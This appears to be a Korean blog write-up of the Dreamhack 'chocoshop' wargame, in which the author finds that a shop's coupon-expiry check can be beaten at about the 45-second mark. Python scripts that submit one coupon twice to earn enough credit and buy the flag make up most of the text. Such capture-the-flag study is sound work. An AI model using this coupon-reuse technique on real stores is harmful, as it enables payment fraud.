[Dreamhack Web - Lv 2] chocoshop

문제 정보

드림이는 빼빼로데이를 맞아 티오리제과에서 빼빼로 구매를 위한 쿠폰을 받았습니다.
하지만 우리의 목적은 FLAG! 그런데 이런, FLAG는 너무 비싸 살 수가 없네요…
쿠폰을 여러 번 발급받고 싶었는데 이것도 불가능해요. 내부자 말에 의하면 사용된 쿠폰을 검사하는 로직이 취약하다는데,
드림이를 도와 FLAG를 구매하세요!

풀이 힌트

1. Coupon Expired Time

문제 풀이

더보기
더보기

문제를 들어가니, 세션을 발급 받는 페이지가 첫 페이지로 나왔다.

 

세션을 발급 받을 때 전달된 값을 확인해보니, JSON 형식으로 위와 같은 값을 전달하고 있었다.
값 중 특이하는 것을 보니, coupon_claimed 값이 있는데 이는 쿠폰 사용 여부를 나타는 값으로 보인다.

 

세션을 발급 받은 후의 모습이다. Shop과 Mypage이 있는데 어떤 기능이 있는지 확인해보겠다.


  • SHOP

빼빼로와 Flag 상품을 판매하고 있는 페이지였다. 현재 가진 돈은 0이지만, Flag 상품을 클릭해보겠다.

 

당연히, 돈이 부족하다고 거절 당했다.

 

  • MYPAGE

페이지를 확인해보니, 쿠폰 발급 및 사용 기능이 있는 페이지로 보인다.
문제 설명을 읽어보면 이곳에서 문제 풀이를 할 수 있는 키워드가 있는 것으로 보인다.

 

일단 나는 쿠폰을 발급 받아서 사용해보겠다.

 

세션에 타임 제한이 있어서 블로그에 글 작성 도중에 다시 세션을 발급 받아서 쿠폰 사용 시도하였다.
쿠폰을 사용하니, 1000 파운드가 충전이 되었다.

 

하지만 1000 파운드로 빼빼로 못 사먹는 세상이라 취약한 부분을 공략해서 Flag 상품을 구입하도록 하겠다.


일단 나는 쿠폰을 발급 받을 때 전달되는 값은 어떤 값인지 확인하였다.
확인해보니, coupon이 /claim에서 전달이 되고 /me에서 전달되는 회원 정보의 coupon_claimed 값이 false에서 true로 변경됐다.

 

블로그에 사진과 글을 적는데 1분 정도 소요가 됐는데, 쿠폰이 만료가 됐다.
일단 쿠폰의 만료 시간은 60초 이하인 것으로 보인다.

 

import threading, requests, json, time

url = "http://host1.dreamhack.games:15362"


def sessionAcquire():
    sessionRequest = requests.get(url + "/session")
    session = json.loads(sessionRequest.text)["session"]

    headers = {"Authorization": session}
    requests.get(url + "/me", headers=headers)

    return session


def couponExpiredTime(sleepTime):
    headers = {"Authorization": sessionAcquire()}
    couponClaimRequest = requests.get(url + "/coupon/claim", headers=headers)
    coupon = json.loads(couponClaimRequest.text)["coupon"]

    time.sleep(sleepTime)

    headers["coupon"] = coupon
    couponSubmitRequest = requests.get(url + "/coupon/submit", headers=headers)
    return print(sleepTime, json.loads(couponSubmitRequest.text)["status"])


if __name__ == "__main__":
    threads = []
    for sleepTime in range(60, 30, -1):
        t = threading.Thread(target=couponExpiredTime, args=[sleepTime])
        t.start()
        threads.append(t)

    for thread in threads:
        thread.join()

나는 쿠폰 만료 시간을 알아내기 위해 파이썬으로 시간 별로 기다린 후 쿠폰 적용을 시도하겠다.
결과를 확인하니, 46초에서 만료가 된 것을 볼 수 있다. 근데 46초라는 시간은 너무 애매한 시간이다.
아마 만료 시간이 45초인데 소수점까지 고려하지 못한게 아닐까?라는 생각을 했다.

 

문제의 설명 속에 "사용된 쿠폰을 검사하는 로직이 취약"이라는 문구가 생각이 났고, "혹시 45초 ~ 46초 사이의 시간에 쿠폰을 한번 더 쓰는게 가능하지 않을까?"라는 생각으로 이어졌다.

  

import requests, json, time

url = "http://host1.dreamhack.games:21879"


def sessionAcquire():
    sessionRequest = requests.get(url + "/session")
    session = json.loads(sessionRequest.text)["session"]

    headers = {"Authorization": session}
    requests.get(url + "/me", headers=headers)

    return session
    
    
def couponSubmit(session, sleepTime):
    headers = {"Authorization": session}
    couponClaimRequest = requests.get(url + "/coupon/claim", headers=headers)
    headers["coupon"] = json.loads(couponClaimRequest.text)["coupon"]

    print(requests.get(url + "/coupon/submit", headers=headers).text)

    time.sleep(sleepTime)
    print(requests.get(url + "/coupon/submit", headers=headers).text)

    meRequest = requests.get(url + "/me", headers=headers)
    return print(json.loads(meRequest.text)["money"])
    
    
 if __name__ == "__main__":
    session = sessionAcquire()
	couponSubmit(session, 45)

파이썬으로 시도한 결과, 성공한 것을 볼 수 있었다.

 

def couponSubmit(session, sleepTime):
    headers = {"Authorization": session}
    couponClaimRequest = requests.get(url + "/coupon/claim", headers=headers)
    headers["coupon"] = json.loads(couponClaimRequest.text)["coupon"]

    print(requests.get(url + "/coupon/submit", headers=headers).text)

    time.sleep(sleepTime)
    print(requests.get(url + "/coupon/submit", headers=headers).text)

    meRequest = requests.get(url + "/me", headers=headers)
    print(json.loads(meRequest.text)["money"])

    headers = {"Authorization": session}
    print(requests.get(url + "/flag/claim", headers=headers).text)

couponSubmit 함수에 쿠폰 2개 사용 후 SHOP 페이지에서 flag 상품을 구매하는 코드를 넣고 다시 시도하였다.
확인한 결과, 구매에 성공하여 flag 값을 획득하는데 성공하였다.

 

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack Web - Lv 2] crawling  (0) 2021.12.20
[Dreamhack Web - Lv 2] weblog-1  (0) 2021.12.14
[Dreamhack Web - Lv 2] Flask-Dev  (0) 2021.12.14
[Dreamhack Web - Lv 2] blind-command  (0) 2021.12.11
[Dreamhack Web - Lv 2] web-ssrf  (0) 2021.12.06